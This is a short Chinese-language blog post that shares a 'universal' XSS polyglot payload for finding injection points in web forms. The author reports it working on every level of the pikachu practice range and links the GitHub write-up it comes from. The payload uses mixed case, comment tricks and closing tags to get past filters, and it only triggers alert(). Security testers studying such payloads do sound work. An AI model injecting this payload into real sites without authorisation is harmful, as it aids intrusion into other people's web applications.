在进行XSS攻击的时候,我可能会有点心累,因为xss攻击的注入点有很多,每一个文本框,根据文本框的前后的代码都要尝试闭合,有点费时间费精力,知道我发现了一个万金油payload,可以用来测哪里有注入点,测出来注入点之后,我们就可以去进行绕过等各种操作,接下来有请主人公:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
原理我不太明白,但是按我的理解就是这个payload包含了很多绕过,可以用它来测试哪里有注入点,我在pikachu靶场试了所有的xss关卡,都能用
具体的原理,有想弄明白的老铁可以看一下github的原贴
Unleashing an Ultimate XSS Polyglot · 0xSobky/HackVault Wiki · GitHub